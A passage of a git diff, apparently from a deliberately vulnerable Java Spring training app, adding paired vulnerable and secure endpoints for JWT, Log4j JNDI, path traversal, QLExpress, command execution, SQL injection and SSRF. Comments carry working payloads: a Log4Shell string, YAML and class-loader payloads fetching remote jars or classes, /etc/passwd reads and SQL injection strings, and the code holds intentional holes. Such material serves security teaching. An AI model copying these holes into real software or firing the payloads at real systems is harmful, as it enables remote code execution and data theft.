JSONPObject jsonpObj = new JSONPObject(callback); + jsonpObj.addParameter(csrfToken); + return jsonpObj.toString(); + } else { + return csrfToken.toString(); + } + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java new file mode 100644 index 00000000..f3e4c126 --- /dev/null +++ b/src/main/java/org/joychou/controller/Jwt.java @@ -0,0 +1,64 @@ +package org.joychou.controller; + +import lombok.extern.slf4j.Slf4j; +import org.joychou.util.CookieUtils; +import org.joychou.util.JwtUtils; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + +/** + * + */ +@Slf4j +@RestController +@RequestMapping("/jwt") +public class Jwt { + + private static final String COOKIE_NAME = "USER_COOKIE"; + /** + * http://localhost:8080/jwt/createToken + * Create jwt token and set token to cookies. + * + * @author JoyChou 2022-09-20 + */ + @GetMapping("/createToken") + public String createToken(HttpServletResponse response, HttpServletRequest request) { + String loginUser = request.getUserPrincipal().getName(); + log.info("Current login user is " + loginUser); + + if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){ + return String.format("%s cookie delete failed", COOKIE_NAME); + } + String token = JwtUtils.generateTokenByJavaJwt(loginUser); + Cookie cookie = new Cookie(COOKIE_NAME, token); + + cookie.setMaxAge(86400); // 1 DAY + cookie.setPath("/"); + cookie.setSecure(true); + response.addCookie(cookie); + return "Add jwt token cookie successfully. Cookie name is USER_COOKIE"; + } + + + /** + * http://localhost:8080/jwt/getName + * Get nickname from USER_COOKIE + * + * @author JoyChou 2022-09-20 + * @param user_cookie cookie + * @return nickname + */ + @GetMapping("/getName") + public String getNickname(@CookieValue(COOKIE_NAME) String user_cookie) { + String nickname = JwtUtils.getNicknameByJavaJwt(user_cookie); + return "Current jwt user is " + nickname; + } + +} diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java new file mode 100644 index 00000000..b2ea4060 --- /dev/null +++ b/src/main/java/org/joychou/controller/Log4j.java @@ -0,0 +1,29 @@ +package org.joychou.controller; + +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class Log4j { + + private static final Logger logger = LogManager.getLogger("Log4j"); + + /** + * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75} + * Default: error/fatal/off + * Fix: Update log4j to lastet version. + */ + @RequestMapping(value = "/log4j") + public String log4j(String token) { + logger.error(token); + return token; + } + + public static void main(String[] args) { + String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}"; + logger.error(poc); + } + +} diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java new file mode 100644 index 00000000..16769e4a --- /dev/null +++ b/src/main/java/org/joychou/controller/Login.java @@ -0,0 +1,54 @@ +package org.joychou.controller; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.security.core.Authentication; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.web.authentication.logout.SecurityContextLogoutHandler; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + +@Controller +public class Login { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @RequestMapping("/login") + public String login() { + return "login"; + } + + @GetMapping("/logout") + public String logoutPage(HttpServletRequest request, HttpServletResponse response) { + + String username = request.getUserPrincipal().getName(); + + Authentication auth = SecurityContextHolder.getContext().getAuthentication(); + if (auth != null) { + new SecurityContextLogoutHandler().logout(request, response, auth); + } + + String[] deleteCookieKey = {"JSESSIONID", "remember-me"}; // delete cookie + for (String key : deleteCookieKey) { + Cookie cookie = new Cookie(key, null); + cookie.setMaxAge(0); + cookie.setPath("/"); + response.addCookie(cookie); + } + + if (null == request.getUserPrincipal()) { + logger.info("USER " + username + " LOGOUT SUCCESS."); + } else { + logger.info("User " + username + " logout failed. Please try again."); + } + + return "redirect:/login?logout"; + } + +} diff --git a/src/main/java/org/joychou/controller/PathTraversal.java b/src/main/java/org/joychou/controller/PathTraversal.java new file mode 100644 index 00000000..1976b01b --- /dev/null +++ b/src/main/java/org/joychou/controller/PathTraversal.java @@ -0,0 +1,56 @@ +package org.joychou.controller; + +import org.apache.commons.codec.binary.Base64; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.File; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Paths; + +@RestController +public class PathTraversal { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd + */ + @GetMapping("/path_traversal/vul") + public String getImage(String filepath) throws IOException { + return getImgBase64(filepath); + } + + @GetMapping("/path_traversal/sec") + public String getImageSec(String filepath) throws IOException { + if (SecurityUtil.pathFilter(filepath) == null) { + logger.info("Illegal file path: " + filepath); + return "Bad boy. Illegal file path."; + } + return getImgBase64(filepath); + } + + private String getImgBase64(String imgFile) throws IOException { + + logger.info("Working directory: " + System.getProperty("user.dir")); + logger.info("File path: " + imgFile); + + File f = new File(imgFile); + if (f.exists() && !f.isDirectory()) { + byte[] data = Files.readAllBytes(Paths.get(imgFile)); + return new String(Base64.encodeBase64(data)); + } else { + return "File doesn't exist or is not a file."; + } + } + + public static void main(String[] argv) throws IOException { + String aa = new String(Files.readAllBytes(Paths.get("pom.xml")), StandardCharsets.UTF_8); + System.out.println(aa); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java new file mode 100644 index 00000000..663589cd --- /dev/null +++ b/src/main/java/org/joychou/controller/QLExpress.java @@ -0,0 +1,44 @@ +package org.joychou.controller; + +import com.ql.util.express.DefaultContext; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.config.QLExpressRunStrategy; +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + +@RestController(value = "/qlexpress") +public class QLExpress { + + /** + * url = 'http://sb.dog:8888/'; + * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]); + * classLoader.loadClass('Hello').newInstance(); + */ + @RequestMapping("/vuln1") + public String vuln1(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } + + @RequestMapping("/sec") + public String sec(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + // Can only call java.lang.String#length() + QLExpressRunStrategy.addSecureMethod(String.class, "length"); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } +} diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java index 8583d2db..7c5f30a9 100644 --- a/src/main/java/org/joychou/controller/Rce.java +++ b/src/main/java/org/joychou/controller/Rce.java @@ -1,31 +1,36 @@ package org.joychou.controller; -import org.springframework.stereotype.Controller; +import groovy.lang.GroovyShell; +import lombok.extern.slf4j.Slf4j; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.yaml.snakeyaml.Yaml; +import org.yaml.snakeyaml.constructor.SafeConstructor; -import javax.servlet.http.HttpServletRequest; +import javax.script.Bindings; +import javax.script.ScriptContext; +import javax.script.ScriptEngine; +import javax.script.ScriptEngineManager; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; + /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.05.24 - * @desc: java xxe vuls code - * @fix: 过滤造成命令执行的参数 + * Java code execute + * + * @author JoyChou @ 2018-05-24 */ - -@Controller +@Slf4j +@RestController @RequestMapping("/rce") public class Rce { - @RequestMapping("/exec") - @ResponseBody - public String CommandExec(HttpServletRequest request) { - String cmd = request.getParameter("cmd").toString(); + @GetMapping("/runtime/exec") + public String CommandExec(String cmd) { Runtime run = Runtime.getRuntime(); - String lineStr = ""; + StringBuilder sb = new StringBuilder(); try { Process p = run.exec(cmd); @@ -34,22 +39,100 @@ public String CommandExec(HttpServletRequest request) { String tmpStr; while ((tmpStr = inBr.readLine()) != null) { - lineStr += tmpStr + "\n"; - System.out.println(tmpStr); + sb.append(tmpStr); } if (p.waitFor() != 0) { if (p.exitValue() == 1) - return "command exec failed"; + return "Command exec failed!!"; } inBr.close(); in.close(); } catch (Exception e) { - e.printStackTrace(); - return "Except"; + return e.toString(); + } + return sb.toString(); + } + + + /** + * POC + */ + @GetMapping("/ProcessBuilder") + public String processBuilder(String cmd) { + + StringBuilder sb = new StringBuilder(); + + try { + String[] arrCmd = {"/bin/sh", "-c", cmd}; + ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); + Process p = processBuilder.start(); + BufferedInputStream in = new BufferedInputStream(p.getInputStream()); + BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); + String tmpStr; + + while ((tmpStr = inBr.readLine()) != null) { + sb.append(tmpStr); + } + } catch (Exception e) { + return e.toString(); } - return lineStr; + + return sb.toString(); + } + + + /** + * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js + * + * curl http://xx.yy/zz.js + * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");} + * + * @param jsurl js url + */ + @GetMapping("/jscmd") + public void jsEngine(String jsurl) throws Exception{ + // js nashorn javascript ecmascript + ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); + Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE); + String cmd = String.format("load(\"%s\")", jsurl); + engine.eval(cmd, bindings); + } + + + /** + * http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]] + * yaml-payload.jar: https://github.com/artsploit/yaml-payload + * + * @param content payloads + */ + @GetMapping("/vuln/yarm") + public void yarm(String content) { + Yaml y = new Yaml(); + y.load(content); + } + + @GetMapping("/sec/yarm") + public void secYarm(String content) { + Yaml y = new Yaml(new SafeConstructor()); + y.load(content); + } + + /** + * http://localhost:8080/rce/groovy?content="open -a Calculator".execute() + * @param content groovy shell + */ + @GetMapping("groovy") + public void groovyshell(String content) { + GroovyShell groovyShell = new GroovyShell(); + groovyShell.evaluate(content); + } + + + + public static void main(String[] args) throws Exception{ + Runtime.getRuntime().exec("touch /tmp/x"); } } diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index 532c82ef..be46f45b 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -1,80 +1,245 @@ package org.joychou.controller; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; - -import javax.servlet.http.HttpServletRequest; +import org.joychou.mapper.UserMapper; +import org.joychou.dao.User; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; import java.sql.*; +import java.util.List; /** - * Date:2018年08月22日 - * Author: JoyChou - * Desc: SQL注入漏洞 + * SQL Injection + * + * @author JoyChou @2018.08.22 */ -@Controller +@SuppressWarnings("Duplicates") +@RestController @RequestMapping("/sqli") public class SQLI { - @RequestMapping("/jdbc") - @ResponseBody - public static String jdbc_sqli(HttpServletRequest request){ + private static final Logger logger = LoggerFactory.getLogger(SQLI.class); + + // com.mysql.jdbc.Driver is deprecated. Change to com.mysql.cj.jdbc.Driver. + private static final String driver = "com.mysql.cj.jdbc.Driver"; + + @Value("${spring.datasource.url}") + private String url; + + @Value("${spring.datasource.username}") + private String user; + + @Value("${spring.datasource.password}") + private String password; + + @Resource + private UserMapper userMapper; + + + /** + *

Sql injection jbdc vuln code.


+ * + * http://localhost:8080/sqli/jdbc/vuln?username=joychou + */ + @RequestMapping("/jdbc/vuln") + public String jdbc_sqli_vul(@RequestParam("username") String username) { + + StringBuilder result = new StringBuilder(); - String name = request.getParameter("name"); - String driver = "com.mysql.jdbc.Driver"; - String url = "jdbc:mysql://localhost:3306/sectest"; - String user = "root"; - String password = "woshishujukumima"; - String result = ""; try { Class.forName(driver); - Connection con = DriverManager.getConnection(url,user,password); + Connection con = DriverManager.getConnection(url, user, password); - if(!con.isClosed()) - System.out.println("Connecting to Database successfully."); + if (!con.isClosed()) + System.out.println("Connect to database successfully."); - // sqli vuln code 漏洞代码 - Statement statement = con.createStatement(); - String sql = "select * from users where name = '" + name + "'"; - System.out.println(sql); - ResultSet rs = statement.executeQuery(sql); + // sqli vuln code + Statement statement = con.createStatement(); + String sql = "select * from users where username = '" + username + "'"; + logger.info(sql); + ResultSet rs = statement.executeQuery(sql); - // fix code 用预处理修复SQL注入 -// String sql = "select * from users where name = ?"; -// PreparedStatement st = con.prepareStatement(sql); -// st.setString(1, name); -// System.out.println(st.toString()); // 预处理后的sql -// ResultSet rs = st.executeQuery(); + while (rs.next()) { + String res_name = rs.getString("username"); + String res_pwd = rs.getString("password"); + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); + } + rs.close(); + con.close(); - System.out.println("-----------------"); - while(rs.next()){ - String res_name = rs.getString("name"); - String res_pwd = rs.getString("password"); - result += res_name + ": " + res_pwd + "\n"; - System.out.println(res_name + ": " + res_pwd); + } catch (ClassNotFoundException e) { + logger.error("Sorry, can't find the Driver!"); + } catch (SQLException e) { + logger.error(e.toString()); + } + return result.toString(); + } + + /** + *

Sql injection jbdc security code by using {@link PreparedStatement}.


+ * + * http://localhost:8080/sqli/jdbc/sec?username=joychou + */ + @RequestMapping("/jdbc/sec") + public String jdbc_sqli_sec(@RequestParam("username") String username) { + + StringBuilder result = new StringBuilder(); + try { + Class.forName(driver); + Connection con = DriverManager.getConnection(url, user, password); + + if (!con.isClosed()) + System.out.println("Connect to database successfully."); + + // fix code + String sql = "select * from users where username = ?"; + PreparedStatement st = con.prepareStatement(sql); + st.setString(1, username); + + logger.info(st.toString()); // sql after prepare statement + ResultSet rs = st.executeQuery(); + + while (rs.next()) { + String res_name = rs.getString("username"); + String res_pwd = rs.getString("password"); + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); } + rs.close(); con.close(); - - }catch (ClassNotFoundException e) { - System.out.println("Sorry,can`t find the Driver!"); - e.printStackTrace(); - }catch (SQLException e) { - e.printStackTrace(); - }catch (Exception e) { + } catch (ClassNotFoundException e) { + logger.error("Sorry, can't find the Driver!"); e.printStackTrace(); + } catch (SQLException e) { + logger.error(e.toString()); + } + return result.toString(); + } + - }finally{ - System.out.println("-----------------"); - System.out.println("Connect database done."); + /** + *

Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder.

+ * http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a + */ + @RequestMapping("/jdbc/ps/vuln") + public String jdbc_ps_vuln(@RequestParam("username") String username) { + + StringBuilder result = new StringBuilder(); + try { + Class.forName(driver); + Connection con = DriverManager.getConnection(url, user, password); + + if (!con.isClosed()) + System.out.println("Connecting to Database successfully."); + + String sql = "select * from users where username = '" + username + "'"; + PreparedStatement st = con.prepareStatement(sql); + + logger.info(st.toString()); + ResultSet rs = st.executeQuery(); + + while (rs.next()) { + String res_name = rs.getString("username"); + String res_pwd = rs.getString("password"); + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); + } + + rs.close(); + con.close(); + + } catch (ClassNotFoundException e) { + logger.error("Sorry, can't find the Driver!"); + e.printStackTrace(); + } catch (SQLException e) { + logger.error(e.toString()); } - return result; + return result.toString(); + } + + + /** + *

Sql injection of mybatis vuln code.

+ * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1 + *

select * from users where username = 'joychou' or '1'='1'

+ */ + @GetMapping("/mybatis/vuln01") + public List mybatisVuln01(@RequestParam("username") String username) { + return userMapper.findByUserNameVuln01(username); + } + + /** + *

Sql injection of mybatis vuln code.

+ * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1 + *

select * from users where username like '%joychou' or '1'='1%'

+ */ + @GetMapping("/mybatis/vuln02") + public List mybatisVuln02(@RequestParam("username") String username) { + return userMapper.findByUserNameVuln02(username); + } + + /** + *

Sql injection of mybatis vuln code.

+ * http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id desc-- + *

select * from users order by id desc-- asc

+ */ + @GetMapping("/mybatis/orderby/vuln03") + public List mybatisVuln03(@RequestParam("sort") String sort) { + return userMapper.findByUserNameVuln03(sort); + } + + + /** + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec01?username=joychou + */ + @GetMapping("/mybatis/sec01") + public User mybatisSec01(@RequestParam("username") String username) { + return userMapper.findByUserName(username); + } + + /** + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec02?id=1 + */ + @GetMapping("/mybatis/sec02") + public User mybatisSec02(@RequestParam("id") Integer id) { + return userMapper.findById(id); + } + + + /** + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec03 + */ + @GetMapping("/mybatis/sec03") + public User mybatisSec03() { + return userMapper.OrderByUsername(); + } + + /** + *

Order by sql injection mybatis security code by using sql filter.

+ * http://localhost:8080/sqli/mybatis/orderby/sec04?sort=id + *

select * from users order by id asc

+ */ + @GetMapping("/mybatis/orderby/sec04") + public List mybatisOrderBySec04(@RequestParam("sort") String sort) { + return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort)); } } diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index d3d54c33..f28b8b91 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -1,109 +1,126 @@ package org.joychou.controller; -import com.google.common.io.Files; -import com.squareup.okhttp.OkHttpClient; -import org.apache.http.HttpResponse; -import org.apache.http.client.fluent.Request; -import org.apache.http.client.methods.HttpGet; -import org.apache.http.impl.client.CloseableHttpClient; -import org.apache.http.impl.client.HttpClients; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; - - -import javax.imageio.ImageIO; -import javax.servlet.http.HttpServletRequest; +import cn.hutool.http.HttpUtil; +import org.joychou.security.SecurityUtil; +import org.joychou.security.ssrf.SSRFException; +import org.joychou.service.HttpService; +import org.joychou.util.HttpUtils; +import org.joychou.util.WebUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.HttpHeaders; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; import javax.servlet.http.HttpServletResponse; import java.io.*; -import java.net.URL; -import java.net.URLConnection; -import java.net.HttpURLConnection; +import java.net.*; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.28 - * @desc: java ssrf vuls code - * @fix: https://github.com/JoyChou93/trident/blob/master/src/main/java/SSRF.java + * Java SSRF vuln or security code. + * + * @author JoyChou @2017-12-28 */ - -@Controller +@RestController @RequestMapping("/ssrf") public class SSRF { - @RequestMapping("/urlConnection") - @ResponseBody - public static String ssrf_URLConnection(HttpServletRequest request) - { - try { - String url = request.getParameter("url"); - URL u = new URL(url); - URLConnection urlConnection = u.openConnection(); - BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request - String inputLine; - StringBuffer html = new StringBuffer(); + private static final Logger logger = LoggerFactory.getLogger(SSRF.class); - while ((inputLine = in.readLine()) != null) { - html.append(inputLine); - } - in.close(); - return html.toString(); - }catch(Exception e) { - e.printStackTrace(); - return "fail"; + @Resource + private HttpService httpService; + + /** + *

+ * The default setting of followRedirects is true.
+ * Protocol: file ftp mailto http https jar netdoc.
+ * UserAgent is Java/1.8.0_102. + *

+ * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd + */ + @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET}) + public String URLConnectionVuln(String url) { + return HttpUtils.URLConnection(url); + } + + + @GetMapping("/urlConnection/sec") + public String URLConnectionSec(String url) { + + // Decline not http/https protocol + if (!SecurityUtil.isHttp(url)) { + return "[-] SSRF check failed"; + } + + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.URLConnection(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } + } - @RequestMapping("/HttpURLConnection") - @ResponseBody - public static String ssrf_httpURLConnection(HttpServletRequest request) - { + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + @GetMapping("/HttpURLConnection/sec") + public String httpURLConnection(@RequestParam String url) { try { - String url = request.getParameter("url"); - URL u = new URL(url); - URLConnection urlConnection = u.openConnection(); - HttpURLConnection httpUrl = (HttpURLConnection)urlConnection; - BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request - String inputLine; - StringBuffer html = new StringBuffer(); - - while ((inputLine = in.readLine()) != null) { - html.append(inputLine); - } - in.close(); - return html.toString(); - }catch(Exception e) { - e.printStackTrace(); - return "fail"; + SecurityUtil.startSSRFHook(); + return HttpUtils.HttpURLConnection(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } } - @RequestMapping("/Request") - @ResponseBody - public static String ssrf_Request(HttpServletRequest request) - { + @GetMapping("/HttpURLConnection/vuln") + public String httpURLConnectionVuln(@RequestParam String url) { + return HttpUtils.HttpURLConnection(url); + } + + /** + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org + */ + @GetMapping("/request/sec") + public String request(@RequestParam String url) { try { - String url = request.getParameter("url"); - return Request.Get(url).execute().returnContent().toString(); - }catch(Exception e) { - e.printStackTrace(); - return "fail"; + SecurityUtil.startSSRFHook(); + return HttpUtils.request(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } } - @RequestMapping("/openStream") - @ResponseBody - public static void ssrf_openStream (HttpServletRequest request, HttpServletResponse response) throws IOException { + /** + * Download the url file.
+ * new URL(String url).openConnection()
+ * new URL(String url).openStream()
+ * new URL(String url).getContent()
+ * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd + + */ + @GetMapping("/openStream") + public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException { InputStream inputStream = null; OutputStream outputStream = null; - String url = request.getParameter("url"); try { - String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url); + String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url); // download response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName); @@ -116,62 +133,186 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo outputStream.write(bytes, 0, length); } - }catch (Exception e) { - e.printStackTrace(); - }finally { + } catch (Exception e) { + logger.error(e.toString()); + } finally { if (inputStream != null) { inputStream.close(); } if (outputStream != null) { outputStream.close(); } + } + } + + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + @GetMapping("/ImageIO/sec") + public String ImageIO(@RequestParam String url) { + try { + SecurityUtil.startSSRFHook(); + HttpUtils.imageIO(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } + + return "ImageIO ssrf test"; } - @RequestMapping("/ImageIO") - @ResponseBody - public static void ssrf_ImageIO(HttpServletRequest request) { - String url = request.getParameter("url"); + @GetMapping("/okhttp/sec") + public String okhttp(@RequestParam String url) { + try { - URL u = new URL(url); - ImageIO.read(u); // send request - } catch (Exception e) { + SecurityUtil.startSSRFHook(); + return HttpUtils.okhttp(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } + } + /** + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com + */ + @GetMapping("/httpclient/sec") + public String HttpClient(@RequestParam String url) { + + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.httpClient(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } - @RequestMapping("/okhttp") - @ResponseBody - public static void ssrf_okhttp(HttpServletRequest request) throws IOException { - String url = request.getParameter("url"); - OkHttpClient client = new OkHttpClient(); - com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); - client.newCall(ok_http).execute(); } - @RequestMapping("/HttpClient") - @ResponseBody - public static String ssrf_HttpClient(HttpServletRequest request) { + /** + * The default setting of followRedirects is true. + * UserAgent is Jakarta Commons-HttpClient/3.1. + * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com + */ + @GetMapping("/commonsHttpClient/sec") + public String commonsHttpClient(@RequestParam String url) { - String url = request.getParameter("url"); - CloseableHttpClient client = HttpClients.createDefault(); - HttpGet httpGet = new HttpGet(url); try { - HttpResponse httpResponse = client.execute(httpGet); // send request - BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); - StringBuffer result = new StringBuffer(); - String line = ""; - while ((line = rd.readLine()) != null) { - result.append(line); - } - return result.toString(); - }catch (Exception e) { - e.printStackTrace(); - return "fail"; + SecurityUtil.startSSRFHook(); + return HttpUtils.commonHttpClient(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + + } + + /** + * The default setting of followRedirects is true. + * UserAgent is the useragent of browser.
+ * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com + */ + @GetMapping("/Jsoup/sec") + public String Jsoup(@RequestParam String url) { + + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.Jsoup(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102.
+ * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com + */ + @GetMapping("/IOUtils/sec") + public String IOUtils(String url) { + try { + SecurityUtil.startSSRFHook(); + HttpUtils.IOUtils(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } + return "IOUtils ssrf test"; + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpAsyncClient/4.1.4 (Java/1.8.0_102). + */ + @GetMapping("/HttpSyncClients/vuln") + public String HttpSyncClients(@RequestParam("url") String url) { + return HttpUtils.HttpAsyncClients(url); } + + + /** + * Only support HTTP protocol.
+ * GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent is Java/1.8.0_102.
+ * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com + */ + @GetMapping("/restTemplate/vuln1") + public String RestTemplateUrlBanRedirects(String url){ + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON_UTF8); + return httpService.RequestHttpBanRedirects(url, headers); + } + + + @GetMapping("/restTemplate/vuln2") + public String RestTemplateUrl(String url){ + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON_UTF8); + return httpService.RequestHttp(url, headers); + } + + + /** + * UserAgent is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool. + * Do not follow redirects.
+ * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com + */ + @GetMapping("/hutool/vuln") + public String hutoolHttp(String url){ + return HttpUtil.get(url); + } + + + /** + * DnsRebind SSRF in java by setting ttl is zero.
